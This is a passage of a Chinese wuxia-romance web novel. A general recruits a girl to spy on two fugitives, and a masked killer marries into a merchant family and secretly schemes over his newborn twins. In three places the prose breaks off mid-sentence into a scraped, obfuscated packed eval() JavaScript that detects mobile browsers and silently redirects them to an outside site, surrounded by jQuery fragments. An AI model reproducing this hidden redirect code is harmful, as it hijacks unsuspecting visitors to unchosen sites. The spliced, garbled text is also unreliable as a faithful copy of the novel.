杨县尉吗?顾鸿云稍稍点头:“去吧。” 杨县尉带着一名大夫进了屋,他坐在一旁,看着大夫检查顾鸿云伤口,眉间忧虑重重:“顾将军,您为何……您是在何处遇刺的?可有看到凶手样貌?” 他虽不喜欢这个生硬古板,独断专横的将军,可人在自己治辖内受了如此重伤,他确实有无法推脱的责任。若顾鸿云向上参他一本,他的乌纱帽,怕也要戴不安稳了。 顾鸿云却凝眸看向他,不答反问:“我昏迷了多久?” 杨县尉顿了顿:“您被送来县衙,是寅时四刻,现在……还未到午时。” 顾鸿云面露疑惑:“我应该伤得极重。”却只睡了几个时辰? 杨县尉实话实说道:“您被送来时,伤口都已处理过了,似乎……倒不算严重。” 顾鸿云神色一肃:“是谁将我送来县衙的?” 杨县尉咽了咽口水,答道:“一个……年轻姑娘,未留姓名。看样子,似乎是江湖人。” 顾鸿云追问道:“她衣着是何颜色?可有什么特征?” “倒……没什么特别的。”杨县尉起身,比划了一下,“身高约莫到这里,穿着草绿色袄裙,腰间佩剑也是绿色,更深一些。样貌还算清秀,但也并不出众,只用了两只木簪束发。据侍卫回禀,她将您送来,也没说什么,就走了。” 听完杨县尉所言,顾鸿云沉默下来。 是安晏救了他。 春日高悬,风烟清澈,他却不知道自己该怀有怎样的心情。 半晌,杨县尉迟疑着请示道:“顾将军……外面,有一位姑娘求见,说有您一直在追查的案件的线索。她说,她是成州人。” 顾鸿云顿时神色一凛:“她是谁?她叫什么?” 杨县尉回道:“只说了姓谢,看年纪,尚未及笄。” 顾鸿云微顿,目光渐渐深了:“让她进来。” 22. 他不可能杀人的 姓谢的少女,果然是与安晏和墨白同路的“谢姑娘”。 顾鸿云忍痛起身,靠坐在床柱上,杨县尉和大夫都已回避,仅谢新柳一人入内,行过礼,他便让她去椅子上坐了。 然而他最先问出口的,却是:“你为何背叛安姑娘?” 谢新柳神色平静,半垂着眼睫:“我没有背叛,我只是想说出我所见到的一切。” 顾鸿云目色深凝:“好,你说吧。” 谢新柳顿了顿,才低声续道:“我本是建德县人,与养父一起生活。是安晏路过时,偶然发现我被养父责打,这才将我带走了。” 顾鸿云看着她,目光犀利:“你的养父,是否姓黄?” 谢新柳惊愕地抬了一下头:“您怎知……” 顾鸿云追问道:“你的养父,后来如何了?” 谢新柳的视线在他脸上停留了片刻,又再次垂下眼睫:“他……或许被安晏杀了。我被带走后,她又回去了一趟,我不知道她做了什么。” 顾鸿云未置可否,只眸子里光影愈深:“你还知道些什么?” 谢新柳静了静:“我确实不知道养父后来如何,但是,兴德郡去年,发生了一件大案子,您或许也有所耳闻。吉祥酒楼的老板,酒楼里的伙计,还有,曾去作证的乞丐,甚至附近相熟的其他乞丐,都被杀了。而杀人的,正是安晏。” 那时她虽然不知为何昏睡了一日——或许是安晏在房间里下了迷药——导致她未能去找他们,但后来一路听安晏与墨白讨论,她还是渐渐拼凑出了那日发生的事。 所有人都死了,伏焱不知所踪。 可说到底,谁能相信“伏焱”的存在呢?就连她也从未见过。 顾鸿云静静望着少女光下的脸,一时竟不能猜透,她到底存着怎样的心思。 他于是又问:“那么,墨公子做了什么?” 谢新柳却似有些慌乱地颤了一下,话音也带了几分急切:“墨哥哥什么都没有做。就像,就像昨晚那样,每次她都是让墨哥哥带我去安全的地方,我们一直在一起,等着她回来。墨哥哥……不会武功,他不可能杀人的。” 是啊,他全然不会武功,他笑得温柔清朗,他不可能杀人的。 顾鸿云再问:“那么,你知道,安姑娘为何会杀死那些人吗?” 谢新柳摇了摇头:“她只同我们说,是发生了争执,才不得不杀人。我那时也信以为真,直到昨夜,我才意识到,或许她杀死那些人,是为了灭口。那个乞丐说的,可能都是真的。” 她说完这些,屋子里两个人都没有再说话。 半晌,顾鸿云开口问:“你不打算回去了?” 谢新柳咬了咬唇:“我要回去。” 顾鸿云实在有些意外:“你私自来县衙,难道不怕引起他们怀疑?” “墨哥哥……去找她了。”谢新柳低声,心底的妒忌、不甘似乎再难隐藏,可她用指甲掐着手心,却仍然竭尽全力维持着声音的平稳,“我也只是,去找墨哥哥了而已。” 顾鸿云好像有些明白,她为何要背叛安晏了。 她年纪还小,还没有很好地学会隐藏。 但是他没有揭穿,只微微蹙眉,似乎心有不忍:“你可以留在县衙,做一份差事。” 这本是一个很好的机会,然而谢新柳却毫不犹豫地拒绝了:“大人,我要回去。我和他们一路同行,可以……暗中为您留下记号,您沿着记号,就能够找到我们。” 顾鸿云安静地,深邃地望着她。 许久,他终于缓缓地颔首:“好。” —————————— 与谢新柳约定了记号的方式和位置,目送她离开,顾鸿云将头靠上床柱,疲累至极地闭上了眼。 接下来一个月,他不得不卧榻养伤,无法追踪安晏和墨白,如果没有谢新柳,他便要彻底失去他们的踪迹了。 所以谢新柳的提议,是一个巨大的,如深渊般的诱惑。 他无法拒绝。 —————————— 然而,谢新柳回到民居,却发现安晏和墨白已经走了。 不是尚未回来,不是暂时出门,而是彻彻底底地离开了。 甚至,没有给她留下一句话,一张字条。 一瞬间,初春的冷意裹满了周身,她无措地立在门外,天淡云稀,原野茫茫,她——该去往何处? 屋侧突然传来了脚步声。 谢新柳惊慌地向后退去,一个年轻的陌生男子从阴影中走了出来:“哎,你回来了。” 他认识她?谢新柳心底慌乱更甚:“你,你是谁?” “谢姑娘,没错吧?”那个男子向前走了两步,谢新柳向后退了十步,他便停住了,“我叫徐戾。” 谢新柳目色惊恐:“你要做什么?” 徐戾皱起眉,又斜斜一勾嘴角:“我来告诉你,安晏和墨白,已经抛下你了。” 谢新柳心中一滞,却仍嘴硬道:“你不要乱说,墨哥哥不会抛下我!” 徐戾冷笑道:“可惜你心心念念的墨哥哥,心中却只将你当作累赘,当作打扰了他和安晏的,多余的人。” 谢新柳心中又惊又痛,他怎能挑拨——不,他不是胡言乱语,挑拨离间。 他只是说出了,她明明知道,却不敢承认的事实。 她垂下双手,春/色在她眼底挣扎,她明明知道了,口中却还是说:“我不信。” 徐戾踢开脚旁一块石子:“我见过他们了,也知道他们往哪个方向走了,如果你还想去找他们,就跟我一起走。”他始终冷笑着,目光近乎残忍,“我劝你,还是不要心存幻想,他们二人在城门附近相见,直接离开了云励县,根本——没有回到这个地方来找你。” “不可能!你不要骗我!”谢新柳下意识地否定道,就算他们因为什么缘由离开了她,也绝不会,绝不会…… 却渐渐没了底气。 安晏早就想将她丢下了,不是吗?墨白也……从没有阻拦过。 徐戾看着她瞬息数变的神色,嗤笑道:“是不是骗你,你跟我一起走,亲自去问他们,不就知道了?” 谢新柳迟疑地打量着徐戾,没有同意,也没有拒绝。 她必须去找安晏和墨白,不仅因为她确实很想亲自去问他们,她也没有忘记与顾鸿云的约定。可是……面前这个突然出现的男子,他为什么要去找他们?他究竟是谁?又究竟有什么目的? 徐戾等了半刻,终于不耐烦了。 他反手一掌,将房屋门扉劈了个粉碎,冷冷道:“我若想杀你,你早已死了。不想跟来就算了,反正带着你也是累赘,你自己想去哪里,就去哪里吧。”说罢,他根本不再看她,转身就走了。 谢新柳咬了咬牙,终是跟了上去。 她走在徐戾身后五步远,望着他冰凉的背影:“你……为什么要去找他们?” 徐戾的声音比秋霜更冷:“你少知道一些,就能活得更久一些。” — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968509|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ————————— 数里之外,安晏与墨白并肩而行,安晏一脸忧心忡忡。 “不要再想了,你再皱眉头,当心长皱纹了。”墨白侧身,轻轻揉了揉安晏眉心,这已经是他第三次劝她了,“谢姑娘留在县衙,不会出事的,反而是跟着我们,路上更加危险。那个顾将军虽然固执,但他不是坏人,你不是也这样认为吗?” 墨白的话多少令安晏踏实了一些,她却仍忍不住责怪道:“我只是在想,你不该如此决绝。我们这样不告而别,她会不会在心里怨恨我们。” “或许会吧,但未尝是件坏事。”墨白不以为意,眉眼俱弯地笑着,“我们终究不能一辈子带着她,她在我们身边留得越久,我们待她越好,她就越难离开。虽然不告而别,她会难过一阵子,但她将来,一定能明白我们的苦心。” 一个时辰前,他在城门外,等来了安晏。 他告诉安晏,谢新柳去了县衙。 他说,他送谢新柳回去,就出来找她了,他没有找到她,却在回去的路上看见谢新柳走进了县衙。他想,或许谢新柳久等他们未归,于是也出来寻找他们了。顾将军和杨县尉都可以信任,云励县安宁富足,她也可以过上平静的生活,如此想着,他便没有再去找她,而回去收拾了行李,在城外等待安晏。 这番话半真半假,不过他历来擅长说谎,安晏对他的信任,也简直到了不多思考的盲目地步——当然,她始终不是多疑的性格。实际上,他在县衙外见到谢新柳之后,偷偷翻墙跟了上去,也就此见到了顾鸿云,更知道她是来找顾鸿云。他立即明白是安晏救了顾鸿云,但谢新柳与顾鸿云说了什么,他没有再听。 无论她要说什么,他都无所谓。 就算是被神医所救,顾鸿云也至少半个月无法下床。 他也无论如何,不会再带上谢新柳了。 安晏叹了口气:“你说得也有道理,就……这样吧。希望以后,她能远离江湖,平安生活下去。” “一定会的。”墨白笑容明媚,“安姑娘,其实我一直想问,你为什么要救顾将军呢?他明明想杀了你,不是吗?” 城外相见时,墨白故意问她为何这么久才出城,然而安晏却毫无隐瞒,将她在城墙附近发现遭遇刺杀,性命垂危的顾鸿云一事告诉了墨白。 “不是的,顾将军并没有要杀我。”安晏摇了摇头,纠正墨白的说法,“你不懂武功,可能觉得凶险,但实际上,顾将军的剑招,没有一招攻击要害,更不会伤及我性命。他本心良善,只是……与我们有些误会罢了。” 墨白眸光微动,轻叹道:“不知顾将军会不会领你一份情,看在你救他一命的份上,不要再追查我们了。” 安晏仍摇了摇头:“我不指望他能领情,我会救他,只因为我是医者罢了。” 墨白却不由得静了片刻。 尔后,他突然问:“你当时救我,也出于同样的理由吗?” 安晏颇为古怪地看了他一眼:“当然了。” 清澈的双眸折射着日光向他望来,好像一块色彩斑斓的琉璃瓦,他的心跳倏忽乱了一拍。 但他很快恢复了镇定和温和,弯起眼角,笑得滴水不漏:“这一趟可是兜了个大圈子,反正已经到了安州,也不知伏焱究竟潜藏何处,我们不如继续向东走?” “好,那就……先去渭州、易州看一看吧。” 是啊,当然了。他们那时根本互不相识,他到底在想些什么,不切实际的蠢事。 23. 那便将这只玉簪留给我 清州,威水郡,候津县。 天气愈发热了,山野间的风染满绿意,许是落雨降至,空气闷湿黏人,飞鸟走兽都变得懒散倦怠。所幸候津县背山,偶有几许清凉的风,多少筛去了几分焦躁之气。 清晨,街旁店铺陆续开门营业,一家首饰铺子里,走出一个身着白衣,清俊如玉的年轻男子。他拿着毛掸子,将门楣仔细扫了一遍,这打扫房屋,明明是一件粗鄙的活,教他做来,却如抚琴折香般高雅。 已有过路的行人停住脚,惊叹着向他望来。 年轻男子也不以为忤,笑容款款地向他们点头致意,而后回到屋内去了。 那些人便又悻悻然叹息一声,继续赶路。 仙人的样貌,总是不能多看的。得望一眼,已属三生之幸。 ——但有一个人,望见之后,就无法再迈开脚步了。 她是清州一户粮商郑俞明的女儿,闺名香月。郑家在清州也算富甲一方,郑俞明这次途径候津县,本是打算去安州谈一桩生意,小女儿已过及笄,死磨硬泡,缠着他要出门游玩,他一向宠爱这个女儿,最终还是答应了。 郑香月上街挑衣服、买胭脂的时候,恰恰看见了开门扫屋的男子。 她再也挪不动一步。 好似无数瓣清莲开满他衣襟,好似潋滟的风光都折进眼底,他有如神圣的佛,或是妖冶的魔——都不重要。 她仿佛受了蛊惑,已折路走向那间首饰铺:“枫兰,堇棠,这不是就有一间首饰铺?我们去看一看吧。” “是,小姐。”两个女婢俱拎着大包小包,恭顺地应了。 郑香月便提着裙摆,迈进了小铺。 店铺不大,一丈见方,只放了两排木柜。那个男子就坐在柜台后,专心地刻一支金簪。 听见门口响动,他抬起头,笑了一笑:“姑娘想买些什么?” 郑香月的心跳停了一瞬。 就好像……漫山遍野的花一瞬间盛放满堂。 她紧紧攥着帕子,维持着大家闺秀应有的端庄:“公子该如何称呼?”可到底还是问出了最想问的那个问题。 男子微笑着起身:“我名唤谢檐长,姑娘若信任我,不妨听一听我的推荐?” “谢公子。”郑香月在心底默记下他的姓名,“那,公子有什么推荐?” “姑娘先坐。”谢檐长稍稍躬身,走到柜架旁,不多时取来三样物事。 “姑娘的耳环看着有些旧了,这一对,是我前不久才做出来的,姑娘不妨一试。” 郑香月打开盒子看去,是一对金叶镶红玉的耳坠,样式灵动别致,她一看便觉喜爱,忙让枫兰帮她戴上。 正对着铜镜欣赏,谢檐长又取出一条项链和一只手镯,温言笑道:“这两样,和耳环本是一套,姑娘可一并佩戴。” 说着,他走到她身后,欲为她戴上项链,郑香月没有阻拦,于是枫兰和堇棠也没有阻拦。 轻和的檀香气从身后飘来,静静笼着周身,郑香月的心思已全乱了。 “姑娘看看,可还喜欢?” 直到清透的声线传入耳中,郑香月这才猛地回过神,谢檐长已退开几步,重新站在了那个循礼守节的位置。 郑香月平静了一下呼吸,转向铜镜,项链和坠子金红相映,更衬得她肌肤胜雪。她双眼微微一亮,毫不犹豫地令枫兰取出两小锭金子:“谢公子心思巧,手也巧,我都要了。” 谢檐长忙推拒道:“姑娘,耳环和项链极轻,手镯也是镂空的,不用这么多。” “这几样首饰深得我心,我认为值得,就是值得。”郑香月微微抬起头,不由分说地将金子放在柜台上,“再说了,区区两锭金子,也不算什么大价格。谢公子若觉得多,就当欠着我一件首饰,日后,我再来取可好?” 谢檐长这才一躬身,笑着应了:“承蒙姑娘抬爱,只是我手中金簪尚未完工,姑娘若能多停留十日,便可来取了。” 郑香月顿了顿:“你怎知我不是候津县人?” “我说的不对吗?”谢檐长的笑容里有种隐秘的危险,“姑娘花容月貌,若长居此处,我怎会不识得姑娘?” 郑香月脸颊一红,慌忙起身,视线转向别处,心跳嗵嗵再一次乱了节奏:“我……三日后就走了,但,下个月还会再经过此地。到时……再来向谢公子取那金簪。” 谢檐长笑意漫漫,仿佛能魅惑人心:“还请问姑娘芳名?” “我名叫……郑香月。东风袅袅泛崇光,香雾空蒙月转廊。”她到底是沉陷了。 “香月姑娘,那就一言为定了。” ———————————— 郑香月几乎落荒而逃。 她全无心情再去任何一家店铺,匆匆回到下榻的客栈,满脑满心,全都是他的影子。 此后一连三日,她日日去谢檐长店里,有时挑一挑首饰,有时却只同他闲聊,看着他打造那只金簪。 谢檐长待她亲切温柔,却始终保持礼节。店里偶尔也有其他客人,他待他们一样温和,就像她也只是他的客人之一。他似乎对她日日造访不觉异常,她在店里订了金簪,或许对他而言,她真的只是来监工的客人罢了。 她无时无刻不在想,这样美好的,如玉一般的男子,她该如何,才能更接近他一点呢? 第四日,郑香月还是随着郑家的商队离开了。 直到一个月后,晚夏风暖,草木如茵,郑家一行,才再次回到候津县。 放下包裹,郑香月就带着枫兰出门了。 长街人靥熙熙,郑俞明在二楼倚窗而坐,目光愈远愈深。他突然问:“老章,月儿她急匆匆的,是去什么地方?” 章管家躬身道:“属下也不清楚,需叫人跟上去,暗中保护小姐吗?” 郑俞明眼风扫过章管家,微微颔首:“由你安排吧。” “是。”章管家应下,离开了屋子。 章管家在郑家做了三十几年,办事稳妥自不必说,说话也越来越圆滑了。郑俞明静静喟叹,再次转目,望向长街。郑香月的身影已看不见了,只剩人潮拥挤着夏景,繁华热闹好似往世的梦。 ———————————— 谢檐长和一个月前没有任何不同。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979511|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 却又好像变得更加俊朗而耀目。 郑香月迈进门,心跳伴随着脚步一顿。 谢檐长从木柜间走出,看见她,微微一笑:“香月姑娘,你回来了。” 他如此一笑,她便觉万物都生春。呆立半晌才找回自己的理智:“谢公子,我来取那支金簪。” “好。”谢檐长自柜台后取出一方锦盒,金簪镶了朱色玛瑙,华丽而不失雅致。谢檐长小心地取出,柔声问,“我帮你戴上,可好?” 郑香月点了点头。她根本无法拒绝。 谢檐长走到她背后,在她发间比划了几下,将一只玉簪小心取出,换上了这只金簪。 郑香月看着铜镜,愈发心满意足:“谢公子手艺精妙,我倒觉得,当初的金子给得少了。” 谢檐长早已退开,将那只玉簪放进锦盒,闻言抬起头,却竟而蛊惑般地一笑:“那便将这只玉簪留给我,如何?” 郑香月滞住了。 呼吸滞住了,心跳滞住了,风声叶声都滞住了。她费了很大的力气才咽下一口口水,嗓音却仍旧干哑:“谢公子若不嫌弃……” “姑娘之物,我必会仔细保管。”谢檐长盖上锦盒,又将它收回了柜台里。 郑香月呆怔怔地看着他,一时失了语言。 他是不是——意有所指?他与她换了玉簪金簪,这算不算——交换了信物? 她不禁又想,他为什么会……这样好看? “香月姑娘。”收好锦盒,谢檐长再看向郑香月,眼角微弯如新月,“这次,你会在候津县停留多久?” 郑香月回过神,却低了眼睫,话音渐而失落:“仍是……三日。” 谢檐长似乎一语双关地笑了:“那,这几日,姑娘有什么想要的,我一直在这里。” ———————————— 郑香月在店铺内留到夕阳落山,才依依不舍地离开。 郑家财力,买下他这间店铺都绰绰有余,这种事情,她也不是没做过。可偏偏这次她却不敢也不能,谢檐长和所有人都不一样,他看起来,并不是很需要她。 他究竟是什么地方的人呢?又为何会在这里开一间首饰铺?他一身衣装似乎只是个文雅的读书人,却有不输良工巧匠的精湛手艺,他究竟……是怎样的一个人呢? 可是所有疑问,好像都根本不重要。 她见过他,便知道再看不见其他人了。 ———————————— 郑香月离开后,谢檐长亦关了店门。 今日除了郑香月,没有第二个客人,他也没有卖出一件首饰。 不过,他本就不靠这间首饰铺营生。 谢檐长从后门离开,上街买了两个烧饼,几道酒菜。晚霞渐深,夕色微冷,他没有再去他处,独自回了家。店铺后院只有一间堂屋,甚至没有像样的厨房,他将食篮放在屋内唯一一张方桌上,又去院中打了半桶井水。 井水沁凉,他掬一捧,将脸洗净,然后自耳后长发间,慢慢地撕下了一张轻薄的面皮! 面皮之下的脸孔,赫然竟是伏焱! 24. 我实在太幸运了 整整三日,郑香月清晨出门,日落才归,待在首饰铺里的时间,比在客栈里还要长。 她却始终没有勇气开口。 她的心意,她既没有勇气告诉谢檐长,也没有勇气告诉父亲。 郑香月的心思,谢檐长其实早已心知肚明。但她不说,他便仍是那副温和有礼的谦逊模样。郑俞明的人在查他,先前一个月查他的身世,最近两日查他的周身,他也都知道,于是他这两日不再摘下人皮面具,不动声色地任由那些探子潜伏在院落四周。 反正,任何人都查不出关于他的任何事——所有知情者,他几乎都杀了。 比起郑俞明,他有足够的时间,也有足够的耐心。 而且,他相信,不会太久。 不出预料,最后一日清晨,当谢檐长如往常一样打开店门的时候,等在门外的不是郑香月,而换成了郑俞明。 谢檐长一怔,继而仍摆出一副标志性的浅笑:“您里面请。” 郑俞明和他的两个侍卫一起,走进了首饰铺。 谢檐长扫过门楣,这才款步入内,见郑俞明正自四下打量,笑了笑道:“这位老爷,可是要挑些首饰,送给家里人?” 郑俞明转过目光,似带了几分傲慢和轻蔑:“你当真不知道我是谁?” 谢檐长微微地笑了:“郑老爷请入座。” 郑俞明不答,在堂中竹椅上坐下,算是默认了。 谢檐长转去后堂,不多时端出一方托盘,上面放着一只茶壶并三只茶盏。但见他敛起衣袖,先将茶盏烫了一遍,再倒水入壶,约至半满。清幽的茶香扑鼻而出,接着他却将这一壶茶水倒了,依样再冲了一壶,这才将茶壶盖扣住,分往三只茶盏——每盏却只有八分满。 郑俞明安静地看着谢檐长每一个动作,娴熟优雅,如行云流水,直到他将分好的一盏端至他面前。 他仍无言语,执起茶盏,抿了一口。 这一口却教他双眼一亮。茶香清新鲜醇,饮之口齿生香——“这是,竹醉山庄的竹青茶?” 谢檐长轻轻颔首,敛衣落座,也执起一盏:“小舍简陋,薄酒淡茶,郑老爷如若喜欢,是我的荣幸。” 郑俞明目光渐渐深了,好似潜藏着一个深渊。 竹醉山庄的竹青茶,乃天下第一茶,他再狂妄,也不敢说不喜欢。 半晌,他轻轻放下茶盏:“你似乎,不是候津县人士。” 谢檐长回道:“我生于苍州,苍目山脚。” 郑俞明目光微动,他确实没有往苍州去查:“你很懂茶,你原来,并非生意人吧?” 谢檐长温文尔雅地道:“家道中落,不得已远行。都是些旧事了,不提也罢。” 俗世茫茫,谁没个辛酸往事?郑俞明见此也不勉强,又道:“听你谈吐,想必饱读诗书,为何不去王都谋一份官职,却远下清州,经营这间首饰铺呢?” 谢檐长又笑了笑,眉目儒雅好似春日的修竹:“苍州苦寒,不似清州风烟暖人,我路径候津县,恰巧遇见这家店铺正在出售,许是缘分,就这么住了下来。手中还余些银子,我便只顾着自己喜好,确然是有些任性了,或许他日落魄,真要如您所言,去王都谋求生存。” 郑俞明有些明白,为何郑香月会对他执迷不悟了。 他身上确有一种引人的气质,从容,安定,温良,却隐隐透出危险。这番气质出尘,却分不清是纯净或邪魅,更贴近神或魔,或是两者皆有,某些不能用常理形容的独特。 终而,郑俞明邀请道:“你可愿到郑家做事?” 谢檐长却十分客气地婉拒了:“据我所知,郑家大小琐事,都有章管家负责,近些年未曾出过一件纰漏。多谢您的美意,不过您是生意人,实在不必多费一份银子,又叫章管家为难。再说,我的首饰铺,也还未到难以支撑生活的地步。” 郑俞明目不转睛地望着他,谢檐长这个人,比他所想,更加聪明和谨慎。 “谢公子,你可愿入郑家,娶我女儿香月为妻?” 这桩“生意”,他只有直截了当地抛出底价。因为谢檐长比他更笃定,而他更迫切。 谢檐长静了静,展眉笑了。 晚夏的流光荡漾在眼底,即使郑俞明七尺男子,也险些坠进了那汪湖水。 谢檐长起身,向郑俞明躬身一拜:“那要劳烦您,在候津县多停留两日了。” ———————————— 又是一年初夏,杨柳垂枝,百花争妍。沐山郡郑府内,传来了一件大喜之事。 郑家唯一的千金,生了一对双胞胎,俱是小公子。 彼时谢檐长正坐在床边,温柔地看着刚刚经历生产,面色犹虚弱苍白的郑香月。 他轻柔地梳理着她的长发,她勉力抬起手,抚上孩子细嫩的小脸,眉眼疲倦却满足:“檐长,孩子的名字……你可有想过?” 谢檐长温声:“由父亲决定就是了。” 郑香月微顿,眸光黯了黯:“我……抱歉,父亲只有我一个女儿,委屈你……要入赘郑家。” “我都说了,我不在意这些。”谢檐长俯下身,在她额头轻轻印了一个吻,“你好好休息,不要乱想。” 郑香月听话地闭上了眼,却又紧紧握住谢檐长的手,似乎生怕他会离去。干燥温暖的气息贴着她脸颊,她仿佛就此安心了,轻叹着喃喃:“檐长,这是我人生至今,最幸福的一刻。我甚至在想,老天待我不薄,我实在太幸运了,能遇到你,能和你一起生活,能拥有我们的孩子。” 那日父亲将她关在客栈,她以为她再也见不到谢檐长了。她知道父亲定会去找他,可是她事先未与他说过,他看起来温闲安静,父亲会不会打扰到他,他会不会觉得唐突反感?他似乎是没落的公子,不似郑家财力雄厚,声名煊赫,父亲会不会不愿接受他?他……他又到底,是如何看她的呢? 她辗转反侧坐立难安地度过了整整两个时辰,父亲终于回来了。 竟告诉她,谢檐长答应了父亲,一同回到郑家,娶她为妻。 她高兴了一整夜没睡。 等回到郑家,她才发现,谢檐长在治家理财上,有着不输给章管家和父亲的才能。 父亲似乎也有些意外,更多却是欣慰。他膝下只有一个女儿,正担心百年后家业何继,这一趟北行,竟得了一位才貌俱佳,性情温良的女婿,实在是几辈子修来的福分。 只是……不知为何,她心底总有一块地方,潜藏着恐惧和畏怯。 他待她无可挑剔地好,却因而显得疏离,他在离她最近的地方,却遥远仿佛无法触及。他好像一把不能握住的云,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987556|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 永远不会,长久地停留在某一片天空。 她只能将整个脸埋进他掌心,贪恋地、饮鸩止渴般地嗅着他身上的檀木香,干净而蛊惑,令她欲罢不能。 她心绪纷杂,未曾留意,谢檐长望着他的两个孩子,眉目仍旧温煦如远山,眸底却渐渐染上了黑色。 “是啊,月儿。”他就着她的话,“我也觉得,我实在太幸运了。” 他真心实意地如此觉得。 虽然他口中的“幸运”,与郑香月口中的“幸运”不同。 他原本只想体验一次普通人的生活,可或许天意冥冥,他注定不能如愿。 他本就生得英姿俊朗,即使不论武功,才干学识也在世上屈指可数。装成家世没落的公子,换上温良无害的面孔,说几句欲擒故纵的话,若有若无地撩拨——果真,这世间能有几个女子,不会深陷其中? 虽然他不得不终日易容,朝廷悬赏未销,他不愿惹来不必要的麻烦。 他们实在太像了,样貌,智慧,手段。这一年来,他无数次忍不住地想,他和墨白,不愧是嫡亲的兄弟——就像,这两个刚出生的孩子一样。 ———————————— 门外响起脚步声,郑俞明到了。 郑俞明送来了一对平安锁,抱着两个孩子,笑得嘴角直咧到耳后。谢檐长似乎也被他的欢愉感染,微微笑着,起身道:“父亲,您留在这里陪月儿吧,昨日的账目还有些需要梳理的,我先去账房那边了。” “好,好,那你先去,午饭时,可要回来一起吃。”郑俞明抬头扫了谢檐长一眼,目光又落回了两个孩子身上。 “那月儿,你好好休息,我很快回来。”谢檐长又对郑香月笑了笑,不再多说,离开了屋子。 待脚步声远去,郑俞明才在床边坐下,一手仍抱着一个孙子,问郑香月道:“近些日子,你辛苦了,檐长对你如何?” “爹爹放心,檐长对我很好。”郑香月脸颊微红,清幽的檀木香气未散,好似一张绵密的网,“就是,爹爹,您究竟给了檐长多少差事?为何账目也交给他了?他整日如此忙碌,都没时间来陪我,陪着两个孩子了。” “账目一直由我亲自负责,交给外人,我总不放心。檐长是郑家女婿,也有能力,我不交给他,还能交给谁?”见郑香月伸出手,郑俞明便将两个孩子轻轻放到床上,又取笑道,“到底是嫁人的女儿,只知心疼夫君劳累。你爹爹我一把老骨头,也想多些清闲,来陪我两个孙子。” “爹爹!”郑香月恼羞道,双颊飞红仿佛醉了烈酒,“不说檐长的事了,这两个孩子……您说,叫什么好呢?” “我早已想好了。”郑俞明眉目温朗,慈爱地笑道,“就取阳、泽二字吧。” ———————————— 那边,谢檐长走到账房,屏退下人,嘈杂声渐渐远去,他的神色一瞬间清冷。 再没有一点“谢檐长”的影子,而全然成为了“伏焱”。眸中幽火冥冥,映着灼灼夏光,竟有一种形容不出诡异的亮。 他原本是想体验一次普通人的生活。 可出生的,却是一对双胞胎。 就像他和墨白。如果当时,他们只有一个人,是不是一切也会变得不同? 是天意的眷顾,给了他一个机会。 25. 你来选择 三个月时,他们笑出了第一声。 七个月时,他们学会了独自爬行。 十个月时,他们开始蹒跚着行走。 周岁时,郑家为两个孩子办了抓周,哥哥郑楚阳两手并用,同时抓了四五样物件,弟弟郑楚泽却始终未作理会,专心于把玩自己的脚。 明明是一对双胞胎,二人性情竟截然不同。 一岁零两个月,他们叫出了第一声爹爹。 秋天就这样如期而至。 郑家事务,已大半交由谢檐长管理。郑俞明乐得清闲,整日含饴弄孙,好不自在。章管家年纪也大了,谢檐长能力出众,为人谦逊,又是郑家女婿,他也心服口服,甘愿将手中近半事务交给他做主。 唯一心有怨怼的,就是郑香月了。 “爹爹,这几日天气晴好,多适合出城游玩,您就给檐长放一天假吧。” 枫兰和堇棠分别扶着郑楚阳和郑楚泽走路,郑俞明倚在摇椅中,笑得慈祥可掬,郑香月坐在他身边,正软语央求道。 院子里梧桐叶染上金色,晨起的风清澈温凉,日光明亮却不灼人——确是出游的绝佳天气。 郑俞明侧过头,吟吟笑道:“怎么,想带着阳儿和泽儿一起去?” “是啊。”郑香月殷切地抬起头望着他,“您看,一年多了,阳儿和泽儿还从未离开过郑府。他们如今也学会走路了,应当带他们去城外踩一踩土地,再过些日子,怕天气又要凉了。” “嗯,”郑俞明沉吟稍许,笑着应了,“好,那就让檐长休息一日,陪你去城郊。你们多带上几个家仆,以备万一。” “多谢爹爹!”郑香月连忙起身,又惊又喜地向郑俞明道谢,顿了顿,又问,“您不和我们一起去吗?” 郑俞明笑着摆了摆手:“你们夫妻游景,我一个老头子去凑什么热闹?我和你章叔叔留下来看家,你们不用担心。” 郑香月脸颊微红:“爹爹,还不是您交给檐长太多事情,我们才难得一起出行,您就不要再拿我打趣了。” ———————————— 当晚,郑香月将两日后出城赏景的计划告诉谢檐长。 谢檐长似乎有些惊讶,继而却很快笑了,将郑香月拥入怀中,在她额头印了轻柔的一个吻:“好,月儿,你想去什么地方,我都陪着你。” “我……我哪有如此任性。”檀木香气窜入鼻腔,就像两年之前相见那时,令郑香月眷恋不止。她将脸埋在他胸前的衣襟里,半晌,方闷闷开口,“我想去的地方,一直只有你身边而已。” 